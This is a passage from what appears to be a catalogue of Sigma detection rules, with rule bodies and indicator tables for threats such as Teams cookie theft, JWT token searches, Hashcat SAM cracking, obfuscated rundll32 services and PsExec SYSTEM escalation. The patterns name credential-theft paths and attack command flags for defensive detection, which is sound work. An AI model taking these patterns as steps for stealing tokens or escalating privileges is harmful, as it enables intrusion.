    definition: 'Requirements: The audit log streaming feature must be enabled to be able to receive such logs. You can enable following the documentation here: https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise#setting-up-audit-log-streaming'
detection:
    selection:
        action:
            - 'migration.create' # A migration file was created for transferring data from a source location (such as a GitHub.com organization or a GitHub Enterprise Server instance) to a target GitHub Enterprise Server instance.
            - 'org.transfer_outgoing' # An organization was transferred between enterprise accounts.
            - 'org.transfer' # An organization was transferred between enterprise accounts.
            - 'repo.transfer_outgoing' # A repository was transferred to another repository network.
    condition: selection
falsepositives:
    - Allowed administrative activities.
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    action:
        - 'migration.create'
        - 'org.transfer_outgoing'
        - 'org.transfer'
        - 'repo.transfer_outgoing'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • migration.create
  • org.transfer
  • org.transfer_outgoing
  • repo.transfer_outgoing
field:"action" kind:eq

Group Policy Abuse for Privilege Addition

#
Status
test
Severity
medium
Author
Elastic, Josh Nickels, Marius Rothenbücher
Source
github.com/SigmaHQ/sigma

Detects the first occurrence of a modification to Group Policy Object Attributes to add privileges to user accounts or use them to add users as local admins.

Known False Positives

  • Users allowed to perform these modifications (user found in field SubjectUserName)

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Group Policy Abuse for Privilege Addition
id: 1c480e10-7ee1-46d4-8ed2-85f9789e3ce4
status: test
description: |
    Detects the first occurrence of a modification to Group Policy Object Attributes to add privileges to user accounts or use them to add users as local admins.
author: Elastic, Josh Nickels, Marius Rothenbücher
references:
    - https://www.elastic.co/guide/en/security/current/group-policy-abuse-for-privilege-addition.html#_setup_275
date: 2024-09-04
tags:
    - attack.privilege-escalation
    - attack.defense-impairment
    - attack.t1484.001
logsource:
    product: windows
    service: security
    definition: 'Requirements: The "Audit Directory Service Changes" logging policy must be configured in order to receive events.'
detection:
    selection:
        EventID: 5136
        AttributeLDAPDisplayName: 'gPCMachineExtensionNames'
        AttributeValue|contains:
            - '827D319E-6EAC-11D2-A4EA-00C04F79F83A'
            - '803E14A0-B4FB-11D0-A0D0-00A0C90F574B'
    condition: selection
falsepositives:
    - Users allowed to perform these modifications (user found in field SubjectUserName)
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    EventID: 5136
    AttributeLDAPDisplayName: 'gPCMachineExtensionNames'
    AttributeValue|contains:
        - '827D319E-6EAC-11D2-A4EA-00C04F79F83A'
        - '803E14A0-B4FB-11D0-A0D0-00A0C90F574B'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
AttributeLDAPDisplayNameeq
  • gPCMachineExtensionNames corpus 7 (sigma 3, elastic 3, splunk 1)
field:"AttributeLDAPDisplayName" kind:eq value:"gPCMachineExtensionNames"
AttributeValuematch
  • 803E14A0-B4FB-11D0-A0D0-00A0C90F574B corpus 2 (sigma 1, elastic 1)
  • 827D319E-6EAC-11D2-A4EA-00C04F79F83A corpus 2 (sigma 1, elastic 1)
field:"AttributeValue" kind:match

HackTool - Hashcat Password Cracker Execution

#
Status
test
Severity
high
Author
frack113
Source
github.com/SigmaHQ/sigma

Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against

Known False Positives

  • Tools that use similar command line flags and values

MITRE ATT&CK Coverage

TacticTechniques
Credential Access

Telemetry Coverage

Rule Body

title: HackTool - Hashcat Password Cracker Execution
id: 39b31e81-5f5f-4898-9c0e-2160cfc0f9bf
status: test
description: Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.002/T1110.002.md#atomic-test-1---password-cracking-with-hashcat
    - https://hashcat.net/wiki/doku.php?id=hashcat
author: frack113
date: 2021-12-27
modified: 2023-02-04
tags:
    - attack.credential-access
    - attack.t1110.002
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        Image|endswith: '\hashcat.exe'
    selection_cli:
        CommandLine|contains|all:
            - '-a '
            - '-m 1000 '
            - '-r '
    condition: 1 of selection_*
falsepositives:
    - Tools that use similar command line flags and values
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_hktl_hashcat/info.yml

Stages and Predicates

Stage 0: condition

1 of selection_*

Stage 1: selection_img

selection_img:
    Image|endswith: '\hashcat.exe'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains|all:
        - '-a '
        - '-m 1000 '
        - '-r '

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -a corpus 3 (sigma 3)
  • -m 1000
  • -r
field:"CommandLine" kind:match
Imageends_with
  • \hashcat.exe
field:"Image" kind:ends_with value:"\hashcat.exe"

Invoke-Obfuscation Via Use Rundll32 - Security

#
Status
test
Severity
high
Author
Nikita Nazarov, oscd.community
Source
github.com/SigmaHQ/sigma

Detects Obfuscated Powershell via use Rundll32 in Scripts

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Invoke-Obfuscation Via Use Rundll32 - Security
id: cd0f7229-d16f-42de-8fe3-fba365fbcb3a
related:
    - id: 641a4bfb-c017-44f7-800c-2aee0184ce9b
      type: derived
status: test
description: Detects Obfuscated Powershell via use Rundll32 in Scripts
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task30)
author: Nikita Nazarov, oscd.community
date: 2020-10-09
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: security
    definition: The 'System Security Extension' audit subcategory need to be enabled to log the EID 4697
detection:
    selection:
        EventID: 4697
        ServiceFileName|contains|all:
            - '&&'
            - 'rundll32'
            - 'shell32.dll'
            - 'shellexec_rundll'
        ServiceFileName|contains:
            - value
            - invoke
            - comspec
            - iex
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    EventID: 4697
    ServiceFileName|contains|all:
        - '&&'
        - 'rundll32'
        - 'shell32.dll'
        - 'shellexec_rundll'
    ServiceFileName|contains:
        - value
        - invoke
        - comspec
        - iex

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ServiceFileNamematch
  • && corpus 3 (sigma 3)
  • comspec
  • iex
  • invoke corpus 2 (sigma 2)
  • rundll32 corpus 2 (sigma 2)
  • shell32.dll corpus 2 (sigma 2)
  • shellexec_rundll corpus 2 (sigma 2)
  • value
field:"ServiceFileName" kind:match

Locked Workstation

#
Status
stable
Severity
informational
Author
Alexandr Yampolskyi, SOC Prime
Source
github.com/SigmaHQ/sigma

Detects locked workstation session events that occur automatically after a standard period of inactivity.

Known False Positives

  • Likely

MITRE ATT&CK Coverage

TacticTechniques
ImpactNo specific technique

Telemetry Coverage

Rule Body

title: Locked Workstation
id: 411742ad-89b0-49cb-a7b0-3971b5c1e0a4
status: stable
description: Detects locked workstation session events that occur automatically after a standard period of inactivity.
references:
    - https://www.cisecurity.org/controls/cis-controls-list/
    - https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf
    - https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf
    - https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4800
author: Alexandr Yampolskyi, SOC Prime
date: 2019-03-26
modified: 2023-12-11
tags:
    - attack.impact
    # - CSC16
    # - CSC16.11
    # - ISO27002-2013 A.9.1.1
    # - ISO27002-2013 A.9.2.1
    # - ISO27002-2013 A.9.2.2
    # - ISO27002-2013 A.9.2.3
    # - ISO27002-2013 A.9.2.4
    # - ISO27002-2013 A.9.2.5
    # - ISO27002-2013 A.9.2.6
    # - ISO27002-2013 A.9.3.1
    # - ISO27002-2013 A.9.4.1
    # - ISO27002-2013 A.9.4.3
    # - ISO27002-2013 A.11.2.8
    # - PCI DSS 3.1 7.1
    # - PCI DSS 3.1 7.2
    # - PCI DSS 3.1 7.3
    # - PCI DSS 3.1 8.7
    # - PCI DSS 3.1 8.8
    # - NIST CSF 1.1 PR.AC-1
    # - NIST CSF 1.1 PR.AC-4
    # - NIST CSF 1.1 PR.AC-6
    # - NIST CSF 1.1 PR.AC-7
    # - NIST CSF 1.1 PR.PT-3
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4800
    condition: selection
falsepositives:
    - Likely
level: informational

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    EventID: 4800

Macos Remote System Discovery

#
Status
test
Severity
informational
Author
Alejandro Ortuno, oscd.community
Source
github.com/SigmaHQ/sigma

Detects the enumeration of other remote systems.

Known False Positives

  • Legitimate administration activities

MITRE ATT&CK Coverage

TacticTechniques
Discovery

Telemetry Coverage

Rule Body

title: Macos Remote System Discovery
id: 10227522-8429-47e6-a301-f2b2d014e7ad
status: test
description: Detects the enumeration of other remote systems.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md
author: Alejandro Ortuno, oscd.community
date: 2020-10-22
modified: 2021-11-27
tags:
    - attack.discovery
    - attack.t1018
logsource:
    category: process_creation
    product: macos
detection:
    selection_1:
        Image|endswith: '/arp'
        CommandLine|contains: '-a'
    selection_2:
        Image|endswith: '/ping'
        CommandLine|contains:
            - ' 10.' # 10.0.0.0/8
            - ' 192.168.' # 192.168.0.0/16
            - ' 172.16.' # 172.16.0.0/12
            - ' 172.17.'
            - ' 172.18.'
            - ' 172.19.'
            - ' 172.20.'
            - ' 172.21.'
            - ' 172.22.'
            - ' 172.23.'
            - ' 172.24.'
            - ' 172.25.'
            - ' 172.26.'
            - ' 172.27.'
            - ' 172.28.'
            - ' 172.29.'
            - ' 172.30.'
            - ' 172.31.'
            - ' 127.' # 127.0.0.0/8
            - ' 169.254.' # 169.254.0.0/16
    condition: 1 of selection*
falsepositives:
    - Legitimate administration activities
level: informational

Stages and Predicates

Stage 0: condition

1 of selection*

Stage 1: selection_1

selection_1:
    Image|endswith: '/arp'
    CommandLine|contains: '-a'

Stage 2: selection_2

selection_2:
    Image|endswith: '/ping'
    CommandLine|contains:
        - ' 10.'
        - ' 192.168.'
        - ' 172.16.'
        - ' 172.17.'
        - ' 172.18.'
        - ' 172.19.'
        - ' 172.20.'
        - ' 172.21.'
        - ' 172.22.'
        - ' 172.23.'
        - ' 172.24.'
        - ' 172.25.'
        - ' 172.26.'
        - ' 172.27.'
        - ' 172.28.'
        - ' 172.29.'
        - ' 172.30.'
        - ' 172.31.'
        - ' 127.'
        - ' 169.254.'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • 10. corpus 3 (sigma 3)
  • 127. corpus 2 (sigma 2)
  • 169.254. corpus 2 (sigma 2)
  • 172.16. corpus 2 (sigma 2)
  • 172.17. corpus 2 (sigma 2)
  • 172.18. corpus 2 (sigma 2)
  • 172.19. corpus 2 (sigma 2)
  • 172.20. corpus 2 (sigma 2)
  • 172.21. corpus 2 (sigma 2)
  • 172.22. corpus 2 (sigma 2)
  • 172.23. corpus 2 (sigma 2)
  • 172.24. corpus 2 (sigma 2)
  • 172.25. corpus 2 (sigma 2)
  • 172.26. corpus 2 (sigma 2)
  • 172.27. corpus 2 (sigma 2)
  • 172.28. corpus 2 (sigma 2)
  • 172.29. corpus 2 (sigma 2)
  • 172.30. corpus 2 (sigma 2)
  • 172.31. corpus 2 (sigma 2)
  • 192.168. corpus 3 (sigma 3)
  • -a corpus 7 (sigma 6, splunk 1)
field:"CommandLine" kind:match
Imageends_with
  • /arp corpus 3 (sigma 3)
  • /ping corpus 3 (sigma 3)
field:"Image" kind:ends_with

Microsoft Teams Sensitive File Access By Uncommon Applications

#
Status
test
Severity
medium
Author
@SerkinValery
Source
github.com/SigmaHQ/sigma

Detects file access attempts to sensitive Microsoft teams files (leveldb, cookies) by an uncommon process.

MITRE ATT&CK Coverage

TacticTechniques
Credential Access

Rule Body

title: Microsoft Teams Sensitive File Access By Uncommon Applications
id: 65744385-8541-44a6-8630-ffc824d7d4cc
status: test
description: |
    Detects file access attempts to sensitive Microsoft teams files (leveldb, cookies) by an uncommon process.
references:
    - https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/
    - https://www.vectra.ai/blog/undermining-microsoft-teams-security-by-mining-tokens
author: '@SerkinValery'
date: 2024-07-22
tags:
    - attack.credential-access
    - attack.t1528
logsource:
    product: windows
    category: file_access
    definition: 'Requirements: Microsoft-Windows-Kernel-File ETW provider'
detection:
    selection:
        FileName|contains:
            - '\Microsoft\Teams\Cookies'
            - '\Microsoft\Teams\Local Storage\leveldb'
    filter_main_legit_location:
        # Note: its best to filter the full path to avoid false negatives
        Image|endswith: '\Microsoft\Teams\current\Teams.exe'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_*

Stage 1: selection

selection:
    FileName|contains:
        - '\Microsoft\Teams\Cookies'
        - '\Microsoft\Teams\Local Storage\leveldb'

Stage 2: not filter_main_legit_location

filter_main_legit_location:
    Image|endswith: '\Microsoft\Teams\current\Teams.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
FileNamematch
  • \Microsoft\Teams\Cookies
  • \Microsoft\Teams\Local Storage\leveldb
field:"file_name" kind:match

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
Imageends_with\Microsoft\Teams\current\Teams.exeexcludes:Image field:"Image" value:"\Microsoft\Teams\current\Teams.exe"

OpenSSH server firewall configuration on Windows (PowerShell)

#
Status
experimental
Severity
high
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker configure the Windows firewall to allow incoming connections to perform stealthy lateral movement.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: OpenSSH server firewall configuration on Windows (PowerShell)
description: Detects scenarios where an attacker configure the Windows firewall to allow incoming connections to perform stealthy lateral movement.
references:
 - https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0008-Lateral%20Movement/T1021.004-Remote%20Service%20SSH
 - https://winaero.com/enable-openssh-server-windows-10/
 - https://docs.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse
 - https://virtualizationreview.com/articles/2020/05/21/ssh-server-on-windows-10.aspx
tags:
- attack.defense_evasion
- attack.t1562.004
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category:
    - ps_module
    - ps_classic_script
    - ps_script
detection:
  selection_powershell_native:
    EventID: 800
    EventData|contains|all:
      - New-NetFirewallRule
      - LocalPort
      - '22'
      - Action
      - Allow

  selection_powershell_modern:
    EventID: 4103
    Payload|contains|all:
      - New-NetFirewallRule
      - LocalPort
      - '22'
      - Action
      - Allow

  selection_powershell_block:
    EventID: 4104
    ScriptBlockText|contains|all:
      - New-NetFirewallRule
      - LocalPort
      - '22'
      - Action
      - Allow

  condition: 1 of selection*
falsepositives:
- Unknown
level: high

Stages and Predicates

Stage 0: condition

1 of selection*

Stage 1: selection_powershell_native

selection_powershell_native:
  EventID: 800
  EventData|contains|all:
    - New-NetFirewallRule
    - LocalPort
    - '22'
    - Action
    - Allow

Stage 2: selection_powershell_modern

selection_powershell_modern:
  EventID: 4103
  Payload|contains|all:
    - New-NetFirewallRule
    - LocalPort
    - '22'
    - Action
    - Allow

Stage 3: selection_powershell_block

selection_powershell_block:
  EventID: 4104
  ScriptBlockText|contains|all:
    - New-NetFirewallRule
    - LocalPort
    - '22'
    - Action
    - Allow

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
EventDatamatch
  • 22
  • Action
  • Allow
  • LocalPort
  • New-NetFirewallRule
field:"EventData" kind:match
Payloadmatch
  • 22
  • Action
  • Allow
  • LocalPort
  • New-NetFirewallRule
field:"Payload" kind:match
ScriptBlockTextmatch
  • 22
  • Action
  • Allow corpus 3 (sigma 2, splunk 1)
  • LocalPort
  • New-NetFirewallRule
field:"ScriptBlockText" kind:match

PFX File Creation

#
Status
test
Severity
low
Author
Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
Source
github.com/SigmaHQ/sigma

Detects the creation of PFX files (Personal Information Exchange format). PFX files contain private keys and certificates bundled together, making them valuable targets for attackers seeking to: - Exfiltrate digital certificates for impersonation or signing malicious code - Establish persistent access through certificate-based authentication - Bypass security controls that rely on certificate validation Analysts should investigate PFX file creation events by examining which process created the PFX file and its parent process chain, as well as unusual locations outside standard certificate stores or development environments.

Known False Positives

  • System administrators legitimately managing certificates and PKI infrastructure
  • Development environments where developers create test certificates for application signing
  • Automated certificate deployment tools and scripts used in enterprise environments
  • Software installation processes that include certificate provisioning (e.g., web servers, VPN clients)
  • Certificate backup and recovery operations performed by IT staff
  • Build systems and CI/CD pipelines that generate code signing certificates
  • Third-party applications that create temporary certificates for secure communications

MITRE ATT&CK Coverage

TacticTechniques
Credential Access

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 11: FileCreate

Rule Body

title: PFX File Creation
id: dca1b3e8-e043-4ec8-85d7-867f334b5724
status: test
description: |
    Detects the creation of PFX files (Personal Information Exchange format).
    PFX files contain private keys and certificates bundled together, making them valuable targets for attackers seeking to:

        - Exfiltrate digital certificates for impersonation or signing malicious code
        - Establish persistent access through certificate-based authentication
        - Bypass security controls that rely on certificate validation

    Analysts should investigate PFX file creation events by examining which process created the PFX file and its parent process chain, as well as unusual locations outside standard certificate stores or development environments.
references:
    - https://github.com/OTRF/detection-hackathon-apt29/issues/14
    - https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/6.B.1_6392C9F1-D975-4F75-8A70-433DEDD7F622.md
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
date: 2020-05-02
modified: 2025-10-19
tags:
    - attack.credential-access
    - attack.t1552.004
    - detection.threat-hunting
logsource:
    product: windows
    category: file_event
detection:
    selection:
        TargetFilename|endswith: '.pfx'
    filter_optional_onedrive:
        Image:
            - 'C:\Program Files\Microsoft OneDrive\OneDrive.exe'
            - 'C:\Program Files (x86)\Microsoft OneDrive\OneDrive.exe'
        TargetFilename|endswith: '\OneDrive\CodeSigning.pfx'
    filter_optional_visual_studio:
        TargetFilename|startswith:
            - 'C:\Program Files (x86)\Microsoft Visual Studio\'
            - 'C:\Program Files\Microsoft Visual Studio\'
    filter_optional_cmake:
        TargetFilename|startswith: 'C:\Program Files\CMake\'
    condition: selection and not 1 of filter_optional_*
falsepositives:
    - System administrators legitimately managing certificates and PKI infrastructure
    - Development environments where developers create test certificates for application signing
    - Automated certificate deployment tools and scripts used in enterprise environments
    - Software installation processes that include certificate provisioning (e.g., web servers, VPN clients)
    - Certificate backup and recovery operations performed by IT staff
    - Build systems and CI/CD pipelines that generate code signing certificates
    - Third-party applications that create temporary certificates for secure communications
level: low

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_optional_*

Stage 1: selection

selection:
    TargetFilename|endswith: '.pfx'

Stage 2: not filter_optional_*

filter_optional_onedrive:
    Image:
        - 'C:\Program Files\Microsoft OneDrive\OneDrive.exe'
        - 'C:\Program Files (x86)\Microsoft OneDrive\OneDrive.exe'
    TargetFilename|endswith: '\OneDrive\CodeSigning.pfx'
filter_optional_visual_studio:
    TargetFilename|startswith:
        - 'C:\Program Files (x86)\Microsoft Visual Studio\'
        - 'C:\Program Files\Microsoft Visual Studio\'
filter_optional_cmake:
    TargetFilename|startswith: 'C:\Program Files\CMake\'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
TargetFilenameends_with
  • .pfx corpus 2 (sigma 2)
field:"TargetFilename" kind:ends_with value:".pfx"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
ImageeqC:\Program Files (x86)\Microsoft OneDrive\OneDrive.exeexcludes:Image field:"Image" value:"C:\Program Files (x86)\Microsoft OneDrive\OneDrive.exe"
ImageeqC:\Program Files\Microsoft OneDrive\OneDrive.exeexcludes:Image field:"Image" value:"C:\Program Files\Microsoft OneDrive\OneDrive.exe"
TargetFilenameends_with\OneDrive\CodeSigning.pfxexcludes:TargetFilename field:"TargetFilename" value:"\OneDrive\CodeSigning.pfx"
TargetFilenamestarts_withC:\Program Files (x86)\Microsoft Visual Studio\excludes:TargetFilename field:"TargetFilename" value:"C:\Program Files (x86)\Microsoft Visual Studio\"
TargetFilenamestarts_withC:\Program Files\CMake\excludes:TargetFilename field:"TargetFilename" value:"C:\Program Files\CMake\"
TargetFilenamestarts_withC:\Program Files\Microsoft Visual Studio\excludes:TargetFilename field:"TargetFilename" value:"C:\Program Files\Microsoft Visual Studio\"

Potentially Suspicious File Download From ZIP TLD

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the download of a file with a potentially suspicious extension from a .zip top level domain.

Known False Positives

  • Legitimate file downloads from a websites and web services that uses the ".zip" top level domain.

MITRE ATT&CK Coverage

TacticTechniques
StealthNo specific technique

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 15: FileCreateStreamHash

Rule Body

title: Potentially Suspicious File Download From ZIP TLD
id: 0bb4bbeb-fe52-4044-b40c-430a04577ebe
status: test
description: Detects the download of a file with a potentially suspicious extension from a .zip top level domain.
references:
    - https://twitter.com/cyb3rops/status/1659175181695287297
    - https://fabian-voith.de/2020/06/25/sysmon-v11-1-reads-alternate-data-streams/
author: Florian Roth (Nextron Systems)
date: 2023-05-18
tags:
    - attack.stealth
logsource:
    product: windows
    category: create_stream_hash
detection:
    selection:
        Contents|contains: '.zip/'
        TargetFilename|contains:
            - '.bat:Zone'
            - '.dat:Zone'
            - '.dll:Zone'
            - '.doc:Zone'
            - '.docm:Zone'
            - '.exe:Zone'
            - '.hta:Zone'
            - '.pptm:Zone'
            - '.ps1:Zone'
            - '.rar:Zone'
            - '.rtf:Zone'
            - '.sct:Zone'
            - '.vbe:Zone'
            - '.vbs:Zone'
            - '.ws:Zone'
            - '.wsf:Zone'
            - '.xll:Zone'
            - '.xls:Zone'
            - '.xlsm:Zone'
            - '.zip:Zone'
    condition: selection
falsepositives:
    - Legitimate file downloads from a websites and web services that uses the ".zip" top level domain.
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Contents|contains: '.zip/'
    TargetFilename|contains:
        - '.bat:Zone'
        - '.dat:Zone'
        - '.dll:Zone'
        - '.doc:Zone'
        - '.docm:Zone'
        - '.exe:Zone'
        - '.hta:Zone'
        - '.pptm:Zone'
        - '.ps1:Zone'
        - '.rar:Zone'
        - '.rtf:Zone'
        - '.sct:Zone'
        - '.vbe:Zone'
        - '.vbs:Zone'
        - '.ws:Zone'
        - '.wsf:Zone'
        - '.xll:Zone'
        - '.xls:Zone'
        - '.xlsm:Zone'
        - '.zip:Zone'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Contentsmatch
  • .zip/
field:"Contents" kind:match value:".zip/"
TargetFilenamematch
  • .bat:Zone corpus 3 (sigma 3)
  • .dat:Zone
  • .dll:Zone corpus 3 (sigma 3)
  • .doc:Zone
  • .docm:Zone corpus 2 (sigma 2)
  • .exe:Zone corpus 3 (sigma 3)
  • .hta:Zone corpus 3 (sigma 3)
  • .pptm:Zone corpus 2 (sigma 2)
  • .ps1:Zone corpus 3 (sigma 3)
  • .rar:Zone
  • .rtf:Zone
  • .sct:Zone
  • .vbe:Zone corpus 3 (sigma 3)
  • .vbs:Zone corpus 3 (sigma 3)
  • .ws:Zone
  • .wsf:Zone
  • .xll:Zone corpus 3 (sigma 3)
  • .xls:Zone
  • .xlsm:Zone corpus 2 (sigma 2)
  • .zip:Zone
field:"TargetFilename" kind:match

Potentially Suspicious JWT Token Search Via CLI

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems), kagebunsher
Source
github.com/SigmaHQ/sigma

Detects potentially suspicious search for JWT tokens via CLI by looking for the string "eyJ0eX" or "eyJhbG". JWT tokens are often used for access-tokens across various applications and services like Microsoft 365, Azure, AWS, Google Cloud, and others. Threat actors may search for these tokens to steal them for lateral movement or privilege escalation.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Potentially Suspicious JWT Token Search Via CLI
id: 6d3a3952-6530-44a3-8554-cf17c116c615
status: test
description: |
    Detects potentially suspicious search for JWT tokens via CLI by looking for the string "eyJ0eX" or "eyJhbG".
    JWT tokens are often used for access-tokens across various applications and services like Microsoft 365, Azure, AWS, Google Cloud, and others.
    Threat actors may search for these tokens to steal them for lateral movement or privilege escalation.
references:
    - https://mrd0x.com/stealing-tokens-from-office-applications/
    - https://www.scip.ch/en/?labs.20240523
author: Nasreddine Bencherchali (Nextron Systems), kagebunsher
date: 2022-10-25
modified: 2025-10-21
tags:
    - attack.credential-access
    - attack.t1528
    - attack.t1552.001
logsource:
    category: process_creation
    product: windows
detection:
    selection_tools:
        CommandLine|contains:
            - 'find '
            - 'find.exe'
            - 'findstr'
            - 'select-string '
            - 'strings'
    selection_jwt_string:
        CommandLine|contains:
            - 'eyJ0eXAiOi' # {"typ":
            - 'eyJhbGciOi' # {"alg":
            - ' eyJ0eX'
            - ' "eyJ0eX"'
            - " 'eyJ0eX'"
            - ' eyJhbG'
            - ' "eyJhbG"'
            - " 'eyJhbG'"
    condition: all of selection_*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_tools

selection_tools:
    CommandLine|contains:
        - 'find '
        - 'find.exe'
        - 'findstr'
        - 'select-string '
        - 'strings'

Stage 2: selection_jwt_string

selection_jwt_string:
    CommandLine|contains:
        - 'eyJ0eXAiOi'
        - 'eyJhbGciOi'
        - ' eyJ0eX'
        - ' "eyJ0eX"'
        - " 'eyJ0eX'"
        - ' eyJhbG'
        - ' "eyJhbG"'
        - " 'eyJhbG'"

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • "eyJ0eX"
  • "eyJhbG"
  • 'eyJ0eX'
  • 'eyJhbG'
  • eyJ0eX
  • eyJhbG
  • eyJ0eXAiOi
  • eyJhbGciOi
  • find
  • find.exe
  • findstr corpus 7 (sigma 6, splunk 1)
  • select-string
  • strings
field:"CommandLine" kind:match

PsExec/PAExec Escalation to LOCAL SYSTEM

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects suspicious commandline flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights

Known False Positives

  • Admins that use PsExec or PAExec to escalate to the SYSTEM account for maintenance purposes (rare)
  • Users that debug Microsoft Intune issues using the commands mentioned in the official documentation; see https://learn.microsoft.com/en-us/mem/intune/apps/intune-management-extension

MITRE ATT&CK Coverage

TacticTechniques
Resource Development

Telemetry Coverage

Rule Body

title: PsExec/PAExec Escalation to LOCAL SYSTEM
id: 8834e2f7-6b4b-4f09-8906-d2276470ee23
related:
    - id: 207b0396-3689-42d9-8399-4222658efc99 # Generic rule based on similar cli flags
      type: similar
status: test
description: Detects suspicious commandline flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights
references:
    - https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
    - https://www.poweradmin.com/paexec/
    - https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2021-11-23
modified: 2024-03-05
tags:
    - attack.resource-development
    - attack.t1587.001
logsource:
    category: process_creation
    product: windows
detection:
    selection_sys: # Escalation to LOCAL_SYSTEM
        CommandLine|contains|windash:
            # Note that you don't need to add the ".exe" part when using psexec/paexec
            # The "-" can also be replaced with "/"
            # The order of args isn't important
            # "cmd" can be replaced by "powershell", "pwsh" or any other console like software
            - ' -s cmd'
            - ' -s -i cmd'
            - ' -i -s cmd'
            # Pwsh (For PowerShell 7)
            - ' -s pwsh'
            - ' -s -i pwsh'
            - ' -i -s pwsh'
            # PowerShell (For PowerShell 5)
            - ' -s powershell'
            - ' -s -i powershell'
            - ' -i -s powershell'
    selection_other:
        CommandLine|contains:
            - 'psexec'
            - 'paexec'
            - 'accepteula'
    condition: all of selection_*
falsepositives:
    - Admins that use PsExec or PAExec to escalate to the SYSTEM account for maintenance purposes (rare)
    - Users that debug Microsoft Intune issues using the commands mentioned in the official documentation; see https://learn.microsoft.com/en-us/mem/intune/apps/intune-management-extension
level: high

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_sys

selection_sys:
    CommandLine|contains|windash:
        - ' -s cmd'
        - ' -s -i cmd'
        - ' -i -s cmd'
        - ' -s pwsh'
        - ' -s -i pwsh'
        - ' -i -s pwsh'
        - ' -s powershell'
        - ' -s -i powershell'
        - ' -i -s powershell'

Stage 2: selection_other

selection_other:
    CommandLine|contains:
        - 'psexec'
        - 'paexec'
        - 'accepteula'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -i -s cmd corpus 2 (sigma 2)
  • -i -s powershell corpus 2 (sigma 2)
  • -i -s pwsh corpus 2 (sigma 2)
  • -i /s cmd corpus 2 (sigma 2)
  • -i /s powershell corpus 2 (sigma 2)
  • -i /s pwsh corpus 2 (sigma 2)
  • -i –s cmd corpus 2 (sigma 2)
  • -i –s powershell corpus 2 (sigma 2)
  • -i –s pwsh corpus 2 (sigma 2)
  • -i —s cmd corpus 2 (sigma 2)
  • -i —s powershell corpus 2 (sigma 2)
